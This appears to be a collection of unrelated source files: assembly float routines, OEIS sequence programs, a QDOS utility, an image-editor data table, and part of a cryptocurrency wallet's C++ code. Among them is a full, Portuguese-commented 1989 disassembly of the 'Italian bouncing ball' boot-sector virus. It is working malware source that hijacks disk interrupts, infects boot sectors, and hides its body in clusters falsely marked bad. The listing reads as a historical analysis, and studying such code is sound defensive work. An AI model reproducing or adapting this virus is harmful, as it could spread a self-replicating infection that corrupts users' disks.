mov dword ptr [esp+4*2],0
add esp,4
ret
cllfle endp
floatp proc near
cmp dword ptr [bfloat],eax
ja short lmac1567
cmp dword ptr [bvect],eax
ja near ptr floatp2
lmac1567:
mov eax,esi
floatp2 label near
ret
floatp endp
fixp proc near
cmp dword ptr [bfloat],eax
ja near ptr fixp2
mov eax,esi
fixp2 label near
ret
fixp endp
flplus proc near
xor eax,eax
jmp near ptr fplus2
fplus1 label near
pop ebx
cmp dword ptr [bfloat],ebx
ja short lmac1568
cmp dword ptr [bvect],ebx
ja near ptr fplus5
lmac1568:
cmp dword ptr [bfloat],ebx
jbe near ptr fpluser1
mov ecx,eax
add ax,bx
jo near ptr fplus4
fplus2 label near
dec dx
jge near ptr fplus1
ret
fplus4 label near
mov eax,ecx
mov dword ptr [_accusingle1],eax
fild word ptr [_accusingle1]
cmp dword ptr [ffloat],0
jne short laf__24
call near ptr gcfloat
laf__24:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov eax,ebp
fstp qword ptr [ebp]
fwait
jmp near ptr fplus7
fplus5 label near
mov dword ptr [_accusingle1],eax
fild word ptr [_accusingle1]
cmp dword ptr [ffloat],0
jne short laf__25
call near ptr gcfloat
laf__25:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov eax,ebp
fstp qword ptr [ebp]
fwait
jmp near ptr fplus8
fplus6 label near
pop ebx
fplus7 label near
cmp dword ptr [bfloat],ebx
ja short lmac1569
cmp dword ptr [bvect],ebx
ja near ptr fplus8
lmac1569:
cmp dword ptr [bfloat],ebx
jbe near ptr fpluser1
mov dword ptr [_accusingle1],ebx
fild word ptr [_accusingle1]
cmp dword ptr [ffloat],0
jne short laf__26
call near ptr gcfloat
laf__26:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov ebx,ebp
fstp qword ptr [ebp]
fwait
fplus8 label near
fld qword ptr [ebx]
fadd qword ptr [eax]
cmp dword ptr [ffloat],0
jne short laf__27
call near ptr gcfloat
laf__27:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov eax,ebp
fstp qword ptr [ebp]
fwait
dec dx
jge near ptr fplus6
fplus9 label near
ret
fpluser1 label near
mov eax,ebx
fpluser2 label near
mov ebx,dword ptr [zflplus]
jmp near ptr errnna
flplus endp
fldiff proc near
or dx,dx
je near ptr rzero
cmp dx,1
jne near ptr fdif1
xor eax,eax
xchg dword ptr [esp],eax
push eax
inc dx
fdif1 label near
xor ebx,ebx
jmp near ptr fdif3
fdif2 label near
pop eax
cmp dword ptr [bfloat],eax
ja short lmac1570
cmp dword ptr [bvect],eax
ja near ptr fdif5
lmac1570:
cmp dword ptr [bfloat],eax
jbe near ptr fdiferr2
mov ecx,ebx
add bx,ax
jo near ptr fdif4
fdif3 label near
dec dx
jg near ptr fdif2
pop eax
cmp dword ptr [bfloat],eax
ja short lmac1571
cmp dword ptr [bvect],eax
ja near ptr fdif10
lmac1571:
cmp dword ptr [bfloat],eax
jbe near ptr fdiferr2
mov ecx,eax
sub ax,bx
jo near ptr fdif91
ret
fdif4 label near
mov ebx,ecx
mov dword ptr [_accusingle1],eax
fild word ptr [_accusingle1]
cmp dword ptr [ffloat],0
jne short laf__28
call near ptr gcfloat
laf__28:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov eax,ebp
fstp qword ptr [ebp]
fwait
fdif5 label near
mov dword ptr [_accusingle1],ebx
fild word ptr [_accusingle1]
cmp dword ptr [ffloat],0
jne short laf__29
call near ptr gcfloat
laf__29:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov ebx,ebp
fstp qword ptr [ebp]
fwait
jmp near ptr fdif7
fdif6 label near
pop eax
cmp dword ptr [bfloat],eax
ja short lmac1572
cmp dword ptr [bvect],eax
ja near ptr fdif7
lmac1572:
cmp dword ptr [bfloat],eax
jbe near ptr fdiferr2
mov dword ptr [_accusingle1],eax
fild word ptr [_accusingle1]
cmp dword ptr [ffloat],0
jne short laf__30
call near ptr gcfloat
laf__30:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov eax,ebp
fstp qword ptr [ebp]
fwait
fdif7 label near
fld qword ptr [eax]
fadd qword ptr [ebx]
cmp dword ptr [ffloat],0
jne short laf__31
call near ptr gcfloat
laf__31:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov ebx,ebp
fstp qword ptr [ebp]
fwait
fdif8 label near
dec dx
jg near ptr fdif6
pop eax
cmp dword ptr [bfloat],eax
ja short lmac1573
cmp dword ptr [bvect],eax
ja near ptr fdif9
lmac1573:
cmp dword ptr [bfloat],eax
jbe near ptr fdiferr2
mov dword ptr [_accusingle1],eax
fild word ptr [_accusingle1]
cmp dword ptr [ffloat],0
jne short laf__32
call near ptr gcfloat
laf__32:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov eax,ebp
fstp qword ptr [ebp]
fwait
fdif9 label near
fld qword ptr [ebx]
fsubr qword ptr [eax]
cmp dword ptr [ffloat],0
jne short laf__33
call near ptr gcfloat
laf__33:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov eax,ebp
fstp qword ptr [ebp]
fwait
ret
fdif91 label near
mov eax,ecx
mov dword ptr [_accusingle1],eax
fild word ptr [_accusingle1]
cmp dword ptr [ffloat],0
jne short laf__34
call near ptr gcfloat
laf__34:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov eax,ebp
fstp qword ptr [ebp]
fwait
fdif10 label near
mov dword ptr [_accusingle1],ebx
fild word ptr [_accusingle1]
cmp dword ptr [ffloat],0
jne short laf__35
call near ptr gcfloat
laf__35:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov ebx,ebp
fstp qword ptr [ebp]
fwait
jmp near ptr fdif9
fdiferr1 label near
mov eax,ebx
fdiferr2 label near
mov ebx,dword ptr [zfldiff]
jmp near ptr errnna
fldiff endp
fltimes proc near
mov eax,1
jmp near ptr ftime2
ftime1 label near
pop ebx
cmp dword ptr [bfloat],ebx
ja short lmac1574
cmp dword ptr [bvect],ebx
ja near ptr ftime5
lmac1574:
cmp dword ptr [bfloat],ebx
jbe near ptr ftimerr1
mov ecx,eax
imul ax,bx
jo near ptr ftime4
ftime2 label near
dec dx
jge near ptr ftime1
ret
ftime4 label near
mov eax,ecx
ftime5 label near
mov dword ptr [_accusingle1],eax
fild word ptr [_accusingle1]
cmp dword ptr [ffloat],0
jne short laf__36
call near ptr gcfloat
laf__36:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov eax,ebp
fstp qword ptr [ebp]
fwait
jmp near ptr ftime7
ftime6 label near
pop ebx
ftime7 label near
cmp dword ptr [bfloat],ebx
ja short lmac1575
cmp dword ptr [bvect],ebx
ja near ptr ftime8
lmac1575:
cmp dword ptr [bfloat],ebx
jbe near ptr ftimerr1
mov dword ptr [_accusingle1],ebx
fild word ptr [_accusingle1]
cmp dword ptr [ffloat],0
jne short laf__37
call near ptr gcfloat
laf__37:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov ebx,ebp
fstp qword ptr [ebp]
fwait
ftime8 label near
fld qword ptr [ebx]
fmul qword ptr [eax]
cmp dword ptr [ffloat],0
jne short laf__38
call near ptr gcfloat
laf__38:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov eax,ebp
fstp qword ptr [ebp]
fwait
dec dx
jge near ptr ftime6
ret
ftimerr1 label near
mov eax,ebx
ftimerr2 label near
mov ebx,dword ptr [zfltimes]
jmp near ptr errnna
fltimes endp
flquo proc near
mov edx,dword ptr [zflquo]
cmp dword ptr [bfloat],eax
ja short lmac1576
cmp dword ptr [bvect],eax
ja near ptr fquo2
lmac1576:
cmp dword ptr [bfloat],ebx
ja short lmac1577
cmp dword ptr [bvect],ebx
ja near ptr fquo3
lmac1577:
cmp dword ptr [bfloat],eax
jbe near ptr banmix1
cmp dword ptr [bfloat],ebx
jbe near ptr banmix2
or bx,bx
je near ptr fquoovf
mov ecx,eax
or ebx,ebx
jz short l9__39
push edx
cwd
idiv bx
movzx eax,dx
pop edx
l9__39:
or ax,ax
jne near ptr fquo1
mov eax,ecx
or ebx,ebx
jz near ptr fquoovf
push edx
cwd
idiv bx
movzx eax,ax
pop edx
l9__40:
ret
fquo1 label near
mov eax,ecx
mov dword ptr [_accusingle1],ebx
fild word ptr [_accusingle1]
cmp dword ptr [ffloat],0
jne short laf__41
call near ptr gcfloat
laf__41:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov ebx,ebp
fstp qword ptr [ebp]
fwait
jmp near ptr fquo3
fquo2 label near
cmp dword ptr [bfloat],ebx
ja short lmac1578
cmp dword ptr [bvect],ebx
ja near ptr fquo4
lmac1578:
cmp dword ptr [bfloat],ebx
jbe near ptr banmix2
mov dword ptr [_accusingle1],ebx
fild word ptr [_accusingle1]
cmp dword ptr [ffloat],0
jne short laf__42
call near ptr gcfloat
laf__42:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov ebx,ebp
fstp qword ptr [ebp]
fwait
jmp near ptr fquo4
fquo3 label near
cmp dword ptr [bfloat],eax
jbe near ptr banmix1
mov dword ptr [_accusingle1],eax
fild word ptr [_accusingle1]
cmp dword ptr [ffloat],0
jne short laf__43
call near ptr gcfloat
laf__43:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov eax,ebp
fstp qword ptr [ebp]
fwait
fquo4 label near
fld qword ptr [ebx]
fdivr qword ptr [eax]
cmp dword ptr [ffloat],0
jne short laf__44
call near ptr gcfloat
laf__44:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov eax,ebp
fstp qword ptr [ebp]
fwait
ret
fquoovf label near
xor eax,eax
mov ebx,dword ptr [zflquo]
jmp near ptr err0dv
flquo endp
exadd proc near
mov ecx,dword ptr [zexcarry]
add eax,ebx
add eax,dword ptr [ecx]
mov dword ptr [ecx],eax
shr dword ptr [ecx],16
movzx eax,ax
ret
exadd endp
exincr proc near
mov ebx,dword ptr [zexcarry]
add eax,1
add eax,dword ptr [ebx]
mov dword ptr [ebx],eax
shr dword ptr [ebx],16
movzx eax,ax
ret
exincr endp
exinv proc near
neg ax
dec ax
exinvret label near
ret
exinv endp
exmul proc near
mov edx,dword ptr [zexcarry]
mov ebp,eax
imul ebp,ebx
add ebp,ecx
add ebp,dword ptr [edx]
movzx eax,bp
shr ebp,16
mov dword ptr [edx],ebp
ret
exmul endp
exdiv proc near
mov ecx,dword ptr [zexcarry]
xchg dword ptr [ecx],edx
shl edx,16
add eax,edx
xor edx,edx
div ebx
xchg dword ptr [ecx],edx
ret
exdiv endp
excomp proc near
cmp eax,ebx
jb near ptr excomp1
je near ptr excomp2
ja near ptr excomp3
excomp1 label near
mov eax,(65536+-1)
ret
excomp2 label near
xor eax,eax
ret
excomp3 label near
mov eax,1
ret
excomp endp
_TEXT ends
end
|
; A071188: Largest prime factor of number of divisors of n.
; 1,2,2,3,2,2,2,2,3,2,2,3,2,2,2,5,2,3,2,3,2,2,2,2,3,2,2,3,2,2,2,3,2,2,2,3,2,2,2,2,2,2,2,3,3,2,2,5,3,3,2,3,2,2,2,2,2,2,2,3,2,2,3,7,2,2,2,3,2,2,2,3,2,2,3,3,2,2,2,5,5,2,2,3,2,2,2,2,2,3,2,3,2,2,2,3,2,3,3,3
seq $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
sub $0,1
seq $0,6530 ; Gpf(n): greatest prime dividing n, for n >= 2; a(1)=1.
|
; was there a DO event ?
include win1_keys_wstatus
include win1_keys_qdos_pt
section utility
xdef xwm_done ; you DID it
;+++
; was there a DO event ?
; (it gets cleared)
;
; Entry Exit
; a1 status area preserved
;
; CCR: Z yes, there was a DO
;---
xwm_done bclr #pt..do,wsp_weve(a1)
rts
end
|
; **************************************************
; *** VIRUS ITALIANO SALTITANTE - A LISTAGEM ***
; *** Desassemblagem obtida por Miguel Vitorino ***
; *** Para : S P O O L E R - Junho de 1989 ***
; **************************************************
.RADIX 16
jmpf macro x
db 0eah
dd x
endm
Virus SEGMENT
assume cs:virus;ds:virus
jmpf MACRO x
db 0eah
dd x
ENDM
org 0100h
begin: jmp short entry
db 1eh-2 dup (?) ; Informacao relativa a' disquete
entry: xor ax,ax
mov ss,ax
mov sp,7c00 ; Colocar o Stack antes do inicio do
mov ds,ax ; virus
mov ax,ds:[0413] ; Retirar 2 K como se nao existissem
sub ax,2 ; para que o DOS nao la' chegue !
mov ds:[0413],ax
mov cl,06 ; Converter o tamanho da RAM num
shl ax,cl ; numero de segmento que se situa nos
sub ax,07c0 ; 2 ultimos K
mov es,ax ; De seguida passar este programa
mov si,7c00 ; para esse sitio de memoria
mov di,si ; ( i.e. o programa transfere-se a si
mov cx,0100 ; proprio )
repz movsw
mov cs,ax ; Transferencia de controlo para ai!
push cs ; Agora sim , ja' estamos nos tais 2K
pop ds
call reset ; fazer duas vezes um "reset" ao
reset: xor ah,ah ; controlador de disco
int 13
and byte ptr ds:drive,80
mov bx,ds:sector ; Sector onde esta' o resto do virus
push cs
pop ax
sub ax,0020
mov es,ax
call ler_sector ; Ler o resto do virus da drive
mov bx,ds:sector
inc bx
mov ax,0ffc0 ; Carregar o sector de boot original
mov es,ax
call ler_sector
xor ax,ax
mov ds:estado,al
mov ds,ax
mov ax,ds:[004c] ; "Confiscar" o interrupt 13
mov bx,ds:[004e] ; ( operacoes sobre disquetes/discos )
mov word ptr ds:[004c],offset int_13
mov ds:[004e],cs
push cs
pop ds
mov word ptr ds:velho_13,ax ; Guardar a velha rotina do int. 13
mov word ptr ds:velho_13+2,bx
mov dl,ds:drive
jmpf 0:7c00 ; Efectuar o arranque do sistema
Esc_Sector proc near
mov ax,0301 ; Escrever um sector da drive
jmp short cs:transferir
Esc_Sector endp
Ler_Sector proc near
mov ax,0201 ; Ler um sector da drive
Ler_Sector endp
Transferir proc near ; Efectuar uma transferencia de dados
xchg ax,bx ; de ou para a drive
add ax,ds:[7c1c] ; Este procedimento tem como entrada
xor dx,dx ; o numero do sector pretendido ( BX )
div ds:[7c18] ; e de seguida sao feitas as contas
inc dl ; para saber qual a pista e o lado
mov ch,dl ; onde esse sector fica
xor dx,dx
div ds:[7c1a]
mov cl,06
shl ah,cl
or ah,ch
mov cx,ax
xchg ch,cl
mov dh,dl
mov ax,bx ; Depois de todas as contas feitas
transf: mov dl,ds:drive ; pode-se chamar o interrupt 13H
mov bx,8000 ; es:bx = end. de transferencia
int 13
jnb trans_exit
pop ax
trans_exit: ret
Transferir endp
Int_13 proc near ; Rotina de atendimento ao int. 13H
push ds ; (operacoes sobre discos e disquetes)
push es
push ax
push bx
push cx
push dx
push cs
pop ds
push cs
pop es
test byte ptr ds:estado,1 ; Testar se se esta' a ver se o virus
jnz call_BIOS ; esta' no disco
cmp ah,2
jnz call_BIOS
cmp ds:drive,dl ; Ver se a ultima drive que foi
mov ds:drive,dl ; mexida e' igual a' drive onde
jnz outra_drv ; se vai mexer
xor ah,ah ; Neste momento vai-se tirar a' sorte
int 1a ; para ver se o virus fica activo
test dh,7f ; Isto e' feito a partir da leitura
jnz nao_desp ; da hora e se for igual a um dado
test dl,0f0 ; numero , o virus e' despoletado
jnz nao_desp
push dx ; Instalar o movimento da bola
call despoletar
pop dx
nao_desp: mov cx,dx
sub dx,ds:semente
mov ds:semente,cx
sub dx,24
jb call_BIOS
outra_drv: or byte ptr ds:estado,1 ; Indicar que se esta' a testar a
push si ; presenca ou nao do virus na drive
push di
call contaminar
pop di
pop si
and byte ptr ds:estado,0fe ; Indicar fim de teste de virus
call_BIOS: pop dx
pop cx
pop bx
pop ax
pop es
pop ds
Velho_13 equ $+1
jmpf 0:0
Int_13 endp
Contaminar proc near
mov ax,0201
mov dh,0
mov cx,1
call transf
test byte ptr ds:drive,80 ; Pediu-se um reset a' drive ?
jz testar_drv ; Sim , passar a' contaminacao directa
mov si,81be
mov cx,4
proximo: cmp byte ptr [si+4],1
jz ler_sect
cmp byte ptr [si+4],4
jz ler_sect
add si,10
loop proximo
ret
ler_sect: mov dx,[si] ; Cabeca+drive
mov cx,[si+2] ; Pista+sector inicial
mov ax,0201 ; Ler esse sector
call transf
testar_drv: mov si,8002 ; Comparar os 28 primeiros bytes para
mov di,7c02 ; ver se o sector de boot e' o mesmo
mov cx,1c ; i.e. ver se a drive ja' foi virada !
repz movsb
cmp word ptr ds:[offset flag+0400],1357
jnz esta_limpa
cmp byte ptr ds:flag_2,0
jnb tudo_bom
mov ax,word ptr ds:[offset prim_dados+0400]
mov ds:prim_dados,ax ; Se chegar aqui entao a disquete ja'
mov si,ds:[offset sector+0400] ; esta' contaminada !
jmp infectar
tudo_bom: ret
; Neste momento descobriu-se uma disquete nao contaminada ! Vai-se agora
; proceder a' respectiva contaminacao !
esta_limpa: cmp word ptr ds:[800bh],0200; Bytes por sector
jnz tudo_bom
cmp byte ptr ds:[800dh],2 ; Sectores por cluster
jb tudo_bom
mov cx,ds:[800e] ; Sectores reservados
mov al,byte ptr ds:[8010] ; Numero de FAT's
cbw
mul word ptr ds:[8016] ; Numero de sectores de FAT
add cx,ax
mov ax,' '
mul word ptr ds:[8011] ; Numero de entradas na root
add ax,01ff
mov bx,0200
div bx
add cx,ax
mov ds:prim_dados,cx
mov ax,ds:[7c13] ; Numero de sectores da drive
sub ax,ds:prim_dados
mov bl,byte ptr ds:[7c0dh] ; Numero de sectores por cluster
xor dx,dx
xor bh,bh
div bx
inc ax
mov di,ax
and byte ptr ds:estado,0fbh ; Se o numero de clusters dor superior
cmp ax,0ff0 ; a 0FF0 entao cada entrada na FAT sao
jbe sao_3 ; 4 nibbles senao sao 3
or byte ptr ds:estado,4 ; 4 = disco duro ?
sao_3: mov si,1 ; Escolher sector a infectar
mov bx,ds:[7c0e] ; Numero de sectores reservados
dec bx
mov ds:inf_sector,bx ; Sector a infectar
mov byte ptr ds:FAT_sector,0fe
jmp short continua
Inf_Sector dw 1 ; Sector a infectar
Prim_Dados dw 0c ; Numero do primeiro sector de dados
Estado db 0 ; Estado actual do virus (instalado/nao instalado,etc)
Drive db 1 ; Drive onde se pediu uma accao
Sector dw 0ec ; Sector auxiliar para procura do virus
Flag_2 db 0 ; Estes proximos valores servem para ver se o virus
Flag dw 1357 ; ja' esta' ou nao presente numa drive , bastando
dw 0aa55 ; comparar se estes valores batem certos para o saber
continua: inc word ptr ds:inf_sector
mov bx,ds:inf_sector
add byte ptr ds:[FAT_sector],2
call ler_sector
jmp short l7e4b
; Este pequeno pedaco de programa o que faz e' percorrer a FAT que ja' esta' na
; memo'ria e procurar ai um cluster livre para colocar nesse sitio o resto do
; virus
verificar: mov ax,3 ; Media descriptor + ff,ff
test byte ptr ds:estado,4 ; disco duro ?
jz l7e1d
inc ax ; Sim , FAT comeca 1 byte mais adiante
l7e1d: mul si ; Multiplicar pelo numero do cluster
shr ax,1
sub ah,ds:FAT_sector
mov bx,ax
cmp bx,01ff
jnb continua
mov dx,[bx+8000] ; Ler a entrada na FAT
test byte ptr ds:estado,4
jnz l7e45
mov cl,4
test si,1
jz l7e42
shr dx,cl
l7e42: and dh,0f
l7e45: test dx,0ffff ; Se a entrada na FAT for zero,entao
jz l7e51 ; descobriu-se um cluster para por o
l7e4b: inc si ; virus , senao passa-se ao proximo
cmp si,di ; cluster ate' achar um bom
jbe verificar
ret
; Ja' foi descoberto qual o cluster a infectar ( registo BX ) , agora vai-se
; proceder a' infeccao da disquete ou disco e tambem a' marcacao desse cluster
; como um "bad cluster" para o DOS nao aceder a ele
l7e51: mov dx,0fff7 ; Marcar um "bad cluster" (ff7)
test byte ptr ds:estado,4 ; Ver qual o tamanho das ents. na FAT
jnz l7e68 ; ( 3 ou 4 nibbles )
and dh,0f
mov cl,4
test si,1
jz l7e68
shl dx,cl
l7e68: or [bx+8000],dx
mov bx,word ptr ds:inf_sector ; Infectar sector !!!
call esc_sector
mov ax,si
sub ax,2
mov bl,ds:7c0dh ; Numero de sectores por cluster
xor bh,bh
mul bx
add ax,ds:prim_dados
mov si,ax ; SI = sector a infectar
mov bx,0 ; Ler o sector de boot original
call ler_sector
mov bx,si
inc bx
call esc_sector ; ... e guarda'-lo depois do virus
infectar: mov bx,si
mov word ptr ds:sector,si
push cs
pop ax
sub ax,20 ; Escrever o resto do virus
mov es,ax
call esc_sector
push cs
pop ax
sub ax,40
mov es,ax
mov bx,0 ; Escrever no sector de boot o virus
call esc_sector
ret
Contaminar endp
Semente dw ? ; Esta word serve para fins de
; temporizacao da bola a saltar
FAT_sector db 0 ; Diz qual e' o numero do sector que
; se esta' a percorrer quando se
; vasculha a FAT
Despoletar proc near ; Comecar a mostrar a bola no ecran
test byte ptr ds:estado,2 ; Virus ja' esta' activo ?
jnz desp_exit ; Sim ,sair
or byte ptr ds:estado,2 ; Nao , marcar activacao
mov ax,0
mov ds,ax
mov ax,ds:20 ; Posicionar interrupt 8 (relogio)
mov bx,ds:22
mov word ptr ds:20,offset int_8
mov ds:22,cs
push cs
pop ds ; E guardar a rotina anterior
mov word ptr ds:velho_8+8,ax
mov word ptr ds:velho_8+2,bx
desp_exit: ret
Despoletar endp
Int_8 proc near ; Rotina de atendimento ao interrupt
push ds ; provocado pelo relogio 18.2 vezes
push ax ; por segundo . Neste procedimento
push bx ; e' que se faz o movimento da bola
push cx ; pelo ecran
push dx
push cs
pop ds
mov ah,0f ; Ver qual o tipo de modo de video
int 10
mov bl,al
cmp bx,ds:modo_pag ; Comparar modo e pagina de video com
jz ler_cur ; os anteriores
mov ds:modo_pag,bx ; Quando aqui chega mudou-se o modo
dec ah ; de video
mov ds:colunas,ah ; Guardar o numero de colunas
mov ah,1
cmp bl,7 ; Comparar modo com 7 (80x25 Mono)
jnz e_CGA
dec ah
e_CGA: cmp bl,4 ; Ve se e' modo grafico
jnb e_grafico
dec ah
e_grafico: mov ds:muda_attr,ah
mov word ptr ds:coordenadas,0101
mov word ptr ds:direccao,0101
mov ah,3 ; Ler a posicao do cursor
int 10
push dx ; ... e guarda-la
mov dx,ds:coordenadas
jmp short limites
ler_cur: mov ah,3 ; Ler a posicao do cursor ...
int 10
push dx ; ... e guarda-la
mov ah,2 ; Posicionar o cursor no sitio da bola
mov dx,ds:coordenadas
int 10
mov ax,ds:carat_attr
cmp byte ptr ds:muda_attr,1
jnz mudar_atr
mov ax,8307 ; Atributos e carater 7
mudar_atr: mov bl,ah ; Carregar carater 7 (bola)
mov cx,1
mov ah,9 ; Escrever a bola no ecran
int 10
limites: mov cx,ds:direccao ; Agora vai-se ver se a bola esta' no
cmp dh,0 ; ecran . Linha = 0 ?
jnz linha_1
xor ch,0ff ; Mudar direccao
inc ch
linha_1: cmp dh,18 ; Linha = 24 ?
jnz coluna_1
xor ch,0ff ; Mudar direccao
inc ch
coluna_1: cmp dl,0 ; Coluna = 0 ?
jnz coluna_2
xor cl,0ff ; Mudar direccao
inc cl
coluna_2: cmp dl,ds:colunas ; Colunas = numero de colunas ?
jnz esta_fixe
xor cl,0ff ; Mudar direccao
inc cl
esta_fixe: cmp cx,ds:direccao ; Mesma direccao ?
jnz act_bola
mov ax,ds:carat_attr
and al,7
cmp al,3
jnz nao_e
xor ch,0ff
inc ch
nao_e: cmp al,5
jnz act_bola
xor cl,0ff
inc cl
act_bola: add dl,cl ; Actualizar as coordenadas da bola
add dh,ch
mov ds:direccao,cx
mov ds:coordenadas,dx
mov ah,2
int 10
mov ah,8 ; Ler carater para onde vai a bola
int 10
mov ds:carat_attr,ax
mov bl,ah
cmp byte ptr ds:muda_attr,1
jnz nao_muda
mov bl,83 ; Novo atributo
nao_muda: mov cx,1
mov ax,0907 ; Escrever a bola no ecran
int 10
pop dx
mov ah,2 ; Recolocar o cursor no posicao onde
int 10 ; estava antes de escrever a bola
pop dx
pop cx
pop bx
pop ax
pop ds
velho_8 equ $+1
jmpf 0:0
Int_8 endp
Carat_attr dw ? ; 7fcd
Coordenadas dw 0101 ; 7fcf
Direccao dw 0101 ; 7fd1
Muda_attr db 1 ; 7fd3
Modo_pag dw ? ; 7fd4
Colunas db ? ; 7fd6
; Os bytes que se seguem destinam-se a reservar espaco para o stack
Virus ENDS
END begin |
corelibPath:
.db "/lib/core", 0
windowTitle:
.db "KIMP: Welcome", 0
newImageTitle:
.db "KIMP: New Image", 0
newImageStr:
.db "New Image\n", 0
loadImageStr:
.db "Load Image\n", 0
backStr:
.db "Back", 0
quitStr:
.db "Exit", 0
size: ;Image size, will need to be configurable with new image screen at some point, currently unused
.db 20
item:
.db 0
caretIcon: ;Just a line atm, maybe go back to the 'default' cursor?
.db 0b00000000
.db 0b00000000
.db 0b11111000
.db 0b00000000
cursor_y:
.db 0
cursor_x:
.db 0
menu:
.db 3
.db "New", 0
.db "Open", 0
.db "Exit", 0
menu_functions:
.dw new_image
.dw load_image
.dw exit
file_buffer:
.dw 0
file_buffer_length:
.dw 0
file_name:
.dw 0
file_length:
.dw 0
index:
.dw 0
current:
.dw 1
cursorPos: ;Really shouldn't hardcode this...
;x
.db 29, 55
.db 33, 55
.db 37, 55
.db 41, 55
.db 45, 55
.db 49, 55
.db 53, 55
.db 57, 55
.db 61, 55
.db 65, 55
.db 29, 51
.db 33, 51
.db 37, 51
.db 41, 51
.db 45, 51
.db 49, 51
.db 53, 51
.db 57, 51
.db 61, 51
.db 65, 51
.db 29, 47
.db 33, 47
.db 37, 47
.db 41, 47
.db 45, 47
.db 49, 47
.db 53, 47
.db 57, 47
.db 61, 47
.db 65, 47
.db 29, 43
.db 33, 43
.db 37, 43
.db 41, 43
.db 45, 43
.db 49, 43
.db 53, 43
.db 57, 43
.db 61, 43
.db 65, 43
.db 29, 39
.db 33, 39
.db 37, 39
.db 41, 39
.db 45, 39
.db 49, 39
.db 53, 39
.db 57, 39
.db 61, 39
.db 65, 39
.db 29, 35
.db 33, 35
.db 37, 35
.db 41, 35
.db 45, 35
.db 49, 35
.db 53, 35
.db 57, 35
.db 61, 35
.db 65, 35
.db 29, 31
.db 33, 31
.db 37, 31
.db 41, 31
.db 45, 31
.db 49, 31
.db 53, 31
.db 57, 31
.db 61, 31
.db 65, 31
.db 29, 27
.db 33, 27
.db 37, 27
.db 41, 27
.db 45, 27
.db 49, 27
.db 53, 27
.db 57, 27
.db 61, 27
.db 65, 27
.db 29, 23
.db 33, 23
.db 37, 23
.db 41, 23
.db 45, 23
.db 49, 23
.db 53, 23
.db 57, 23
.db 61, 23
.db 65, 23
.db 29, 19
.db 33, 19
.db 37, 19
.db 41, 19
.db 45, 19
.db 49, 19
.db 53, 19
.db 57, 19
.db 61, 19
.db 65, 19
cursorPos_end:
.db 0
|
; A034832: a(n) = n-th sept-factorial number divided by 5.
; 1,12,228,5928,195624,7824960,367773120,19859748480,1211444657280,82378236695040,6178367752128000,506626155674496000,45089727855030144000,4328613874082893824000,445847229030538063872000,49043195193359187025920000,5738053837623024882032640000,711518675865255085372047360000,93208946538348416183738204160000,12862834622292081433355872174080000,1865111020232351807836601465241600000,283496875075317474791163422716723200000,45076003136975478491794984211958988800000
mov $1,1
mov $2,5
lpb $0
sub $0,1
add $2,7
mul $1,$2
lpe
mov $0,$1
|
# load/store
mov r0, [m2]
mov [m1], r0
mov r0, 2
mov [m2], r0
halt
.data
m1:
data 1
m2:
data 99
|
// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2012 The Bitcoin developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <main.h>
#include <wallet.h>
#include <txdb.h>
#include <kernel.h>
#include <checkpoints.h>
#include <block/block_process.h>
#include <miner/diff.h>
#include <const/block_params.h>
#include <block/block_info.h>
#include <block/block_check.h>
#include <util/time.h>
CCriticalSection wallet_process::manage::cs_setpwalletRegistered;
//
// These functions dispatch to one or all registered wallets
//
void wallet_process::manage::RegisterWallet(CWallet *pwalletIn)
{
{
LOCK(wallet_process::manage::cs_setpwalletRegistered);
block_info::setpwalletRegistered.insert(pwalletIn);
}
}
void wallet_process::manage::UnregisterWallet(CWallet *pwalletIn)
{
{
LOCK(wallet_process::manage::cs_setpwalletRegistered);
block_info::setpwalletRegistered.erase(pwalletIn);
}
}
// make sure all wallets know about the given transaction, in the given block
void wallet_process::manage::SyncWithWallets(const CTransaction &tx, const CBlock *pblock /*= NULL*/, bool fUpdate/*= false*/, bool fConnect/*= true*/)
{
if (! fConnect) {
// wallets need to refund inputs when disconnecting coinstake
if (tx.IsCoinStake()) {
for(CWallet *pwallet: block_info::setpwalletRegistered)
{
if (pwallet->IsFromMe(tx)) {
pwallet->DisableTransaction(tx);
}
}
}
return;
}
for(CWallet *pwallet: block_info::setpwalletRegistered)
{
pwallet->AddToWalletIfInvolvingMe(tx, pblock, fUpdate);
}
}
bool CWalletTx::AcceptWalletTransaction(CTxDB &txdb, bool fCheckInputs)
{
{
